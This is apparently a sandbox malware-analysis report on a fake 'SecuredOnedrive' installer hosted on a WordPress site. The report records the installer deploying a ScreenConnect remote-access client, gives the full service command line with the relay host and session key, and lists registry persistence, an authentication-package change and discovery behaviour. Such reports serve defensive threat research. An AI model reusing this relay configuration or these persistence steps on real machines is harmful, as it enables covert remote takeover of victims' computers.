hxxp://securedonedrive[.]wordpress[.]com

Resubmissions

10-01-2025 03:12

250110-dqb1lazmev 3

10-01-2025 02:56

250110-dezyaaskar 8

10-01-2025 02:03

250110-cgz6dszrbk 8

10-01-2025 01:55

250110-cb7naaxqct 8

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-01-2025 01:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://securedonedrive.wordpress.com

Score

8^/10

discovery persistence privilege_escalation

Malware Config

Signatures

Downloads MZ/PE file

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (4efc3cdfd41882d9)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (4efc3cdfd41882d9)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-o4o0vi-relay.screenconnect.com&p=443&s=84f5ce35-e0d9-4441-b39b-f4cc84562424&k=BgIAAACkAABSU0ExAAgAAAEAAQCtIb%2fPoeHjA1vLCGZQhHwHhVlZPj0jGmN%2b8qZ%2bTsH%2bk1kVT8eObPwGRw6cWZtQfb5Ab3%2f7r7RQ6SwQEcsf4buTQYccHHE7JxQX1aUjhZ5afLon6IFYwjc%2fE0wvA78d3gFzBTzQdJTAM5kd9STWGkSevNOi79Q5wZbu76kZURPM0952FJHdenNnsU3QPQbh%2biFLcJvMOY2ZDlbWxUCjzkuPScjtO3Hyzs9yWmvfvzggMp0cqvD8Jux95Qq3pqZXvb9EfMgy7shx%2bXPCFIIVADmJwIhoXC09WJDFX1A3CpITs57XWVsg7W3nvhWwhkIVhyTuE%2bw9HymoxXn55R%2foUCa9&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAMtYeOC8TA0e0r%2bOMuOeKzAAAAAACAAAAAAAQZgAAAAEAACAAAABMgzPT8XVT07LpoNR9oO65Ru5%2fSRidjSuB2yne%2biXrlQAAAAAOgAAAAAIAACAAAACua7CZcarYL%2fgn1dQuTAGDfiEp624bxKrMg0vKWJvb2aAEAACIfqVfXT1bEXF0tXfdsPeId84lcwCRc6z4SDn76MHRqU9mGXPh%2fTnreyBO%2fv6m2mhkC4eQzvbFRQR2hWpU4L%2bOZnv8KyQadgsgxS3iZEFGtZLIHLXS%2f901PMNPdICEtBNpNDMC2s1XLSvcfRm2Ms%2fcldiWsiRw93CAsoknc1xXldG%2b4gxuM1h9NzzcyMTInEaTLjn%2brXwJQ6Tp1NCqi42zMW9Nb%2bVKKjh6yfzEc1XDPZrqz2%2bSkOoKn%2fnmpiQt2IZZrvomHV3tTIBgpLvStrEcK1G%2bk6zhnD1duynwlGGu3NjgGmFdSNKfXq6jDUOupKOICXmNfJSQceYYxqfJHuAYfYnIne9jAzaQB1sTOpVb15BvZIwyOEYXo1T9oq2XQXWX6Q%2fI9gzBOOj7TzzymUeBXgWm%2fXiSoBADpjnuGEsaMRAUaQjs4jF7hINE39GF7%2fUqBKF2VeFkrr1134Eb4teyy9tcDHwriQcencn2oSPRw7dbOwiZrJASLSZKwZaoxj3gsnN6%2b7NxYcwOSxRg3XTQAaYUd%2bGCHpysXf44nwFGuMB39V0kkSbEcsjFPDZU3csWn62DGmoBOF%2bfk0OFCqAr9EJWajgZHhyxqrtfqtGUKeqURnGFa2zaAXGArmpd9U%2fghLTyyNoRSfLsMOlwhm%2bOh2Xm%2f0KjpIDsUxIdMeNLJ3kLsbtbhqog44AUQm1p%2fWR4oWzqcbmjfO7ID6mzz5R4oB9ZwFu2ql1O8HdA4AQ5PtFL9yS1GvTahZsh4Si2uop%2bkXPgTe6OKJ%2frpknaux0bYDQcAxRDGhEMeQdh%2bXA5ttXt6Dyz4eFUqbSPiA9pthmXKmySB4c9ey0N9OBKOUQ18OAfKtuQLQ25jLzfm%2b4k30VPxNicgOx6pF9B1vm1Xi6lIL%2bYEPDfE8RWrMPpQkWk%2ba5%2bMjkdRkO8YtgE9oAk1E37uzH4mVgl%2ffMoLBdOYEB9yPfs7Pcl%2bqzhBc9OvswOmV9XamPTVPT%2b%2bMZGbtfWkIhAUDiMgVcoEX3Cq0f1NjbhQu%2fvhtw1uJY59JmNvOX6SaeCj6LAlCE3Y%2frkYVQo76xwDmVRRGgg8Ou9R2rJmbPzPMWbhgD8U1EYurnlUiW%2fPpOF4yU9WiquKnQWvbK8yZ1be7wZ%2faSW3Af9hTcoSrhWkTKQzGiDraaqBbM8TW3hdBhYu5G1kwVhWRPKpTnoUpLkNiQoRlGN5p79CvjiCzpzI0vaJyPb9oH4K%2fUVCLm2XLz5bZcFgVmRFCaK0xGXt%2fP%2fbjcbdzqJBrR%2frsHeKiyA9pr0B%2bXJRg9AganLooazmEejYuGMRHZ5ET5jAsbqMpiDXNu7bOuH%2bb1DmuBYMJLq5exkQQurqO0OnRfgXFkB2RnfVA4%2bOxwwsTZ454Eus%2bnh468Xy6j0gcIe2Eu3tcKpOjZ%2fksfJvHazNbxWc%2fO0buuR7fDO1o2Xaw0%2blBkvS890pc459rISOzTmXwWNL9tVLhuYTypsT%2b6j%2bxYgaoIO68TOwPtU5eECb6PJagsFO9UFSUsM5LfwPin397PAG7X9iIP7coZiWiLM0X4cw07r2coTPd4Of4V0e34cm3xmWEAAAABBc5N3qGKzShXViM83lgFUJHVGC0GJGTU9uJltEp9WvuIaxbjcQnF5hSK6yUzTpz0Tcm3SwsJAbX6KzNknC7jA\""	ScreenConnect.ClientService.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	SecuredOnedrive.ClientSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	SecuredOnedrive.ClientSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	SecuredOnedrive.ClientSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	SecuredOnedrive.ClientSetup.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 7 IoCs

pid	Process
2584	SecuredOnedrive.ClientSetup.exe
5556	ScreenConnect.ClientService.exe
5712	ScreenConnect.WindowsClient.exe
2196	ScreenConnect.WindowsClient.exe
2988	SecuredOnedrive.ClientSetup.exe
4364	SecuredOnedrive.ClientSetup.exe
3556	SecuredOnedrive.ClientSetup.exe

Loads dropped DLL 44 IoCs

pid	Process
5180	MsiExec.exe
5232	rundll32.exe
5232	rundll32.exe
5232	rundll32.exe
5232	rundll32.exe
5232	rundll32.exe
5232	rundll32.exe
5232	rundll32.exe
5232	rundll32.exe
5232	rundll32.exe
5260	MsiExec.exe
5436	MsiExec.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
2492	MsiExec.exe
5788	rundll32.exe
5788	rundll32.exe
5788	rundll32.exe
5788	rundll32.exe
5788	rundll32.exe
5788	rundll32.exe
5788	rundll32.exe
5788	rundll32.exe
5788	rundll32.exe
3772	MsiExec.exe
972	MsiExec.exe
5372	rundll32.exe
5372	rundll32.exe
5372	rundll32.exe
5372	rundll32.exe
5372	rundll32.exe
5372	rundll32.exe
5372	rundll32.exe
5372	rundll32.exe
5372	rundll32.exe
5268	MsiExec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340065006600630033006300640066006400340031003800380032006400390029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4efc3cdfd41882d9)\o1jovgqf.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4efc3cdfd41882d9)\o1jovgqf.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4efc3cdfd41882d9)\ScreenConnect.ClientService.exe	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e57fa4e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57fa4e.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFBA7.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{DB000C75-6142-04D2-4ED8-39752AA827BF}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI55B0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8B0A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8B78.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFB58.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{DB000C75-6142-04D2-4ED8-39752AA827BF}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{DB000C75-6142-04D2-4ED8-39752AA827BF}	msiexec.exe
File created	C:\Windows\Installer\e57fa50.msi	msiexec.exe
File created	C:\Windows\Installer\{DB000C75-6142-04D2-4ED8-39752AA827BF}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI568B.tmp	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecuredOnedrive.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winhlp32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecuredOnedrive.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecuredOnedrive.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecuredOnedrive.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000038a6760542cf76680000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000038a676050000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090038a67605000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d38a67605000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000038a6760500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 18 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4efc3cdfd41882d9\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\57C000BD24162D40E48D9357A28A72FB\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4efc3cdfd41882d9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2BC8-D3B85F2F3345}\ = "ScreenConnect Client (4efc3cdfd41882d9) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4efc3cdfd41882d9\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4efc3cdfd41882d9\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2BC8-D3B85F2F3345}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (4efc3cdfd41882d9)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\ProductIcon = "C:\\Windows\\Installer\\{DB000C75-6142-04D2-4ED8-39752AA827BF}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\4efc3cdfd41882d9\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4efc3cdfd41882d9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4efc3cdfd41882d9\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\Version = "402849799"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4efc3cdfd41882d9\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (4efc3cdfd41882d9)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\ProductName = "ScreenConnect Client (4efc3cdfd41882d9)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\PackageCode = "57C000BD24162D40E48D9357A28A72FB"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B23D01BD84CD7DAFE4CFC3FD4D81289D\57C000BD24162D40E48D9357A28A72FB	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2BC8-D3B85F2F3345}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2BC8-D3B85F2F3345}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2BC8-D3B85F2F3345}\InprocServer32	msiexec.exe
